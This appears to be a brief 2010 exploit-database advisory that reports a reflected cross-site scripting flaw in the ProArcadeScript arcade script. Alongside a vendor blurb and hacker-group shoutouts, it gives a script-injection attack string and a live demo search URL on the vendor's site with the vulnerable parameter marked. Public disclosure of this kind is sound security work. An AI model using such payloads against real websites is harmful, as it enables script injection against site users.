ProArcadeScript Cross Site Scripting

`# Exploit Title: XSS Vulnerability in ProArcadeScript  
# Version: Web Application  
# Vendor:http://proarcadescript.com/  
# Author: Sid3^effects aKa HaRi  
# Code :  
# Date :27 apr,2010  
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###################XSS Vulnerability in ProArcadeScript###########################  
  
#Greetz to all ICW Memebers and Andhra Hackers [Indian Cyber Warriors]  
#Shoutz:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR,KedaR   
#Catch us at www.andhrahackers.com or www.teamicw.in  
  
##################################################################################  
  
What is ProArcadeScript:  
  
It’s a well structured, modular flash arcade script. If you are going to start a new flash gaming website, this script will do most of the work required. You just need to install the script on your hosting, import the game packs included in the package and enter your mochi publisher ID to start publishing new games on autopilot. Isn’t that cool? I bet you will be even more impressed by the advantages of this flash arcade script:  
  
############################################################################  
  
Attack Pattern: '"--><script>alert(0x000872)</script>   
  
DEMO URL : http://proarcadescript.com/demo/search.php?searchstr= [XSS]  
  
###############################=-EoF-=########################################  
  
#Sid3^effects  
`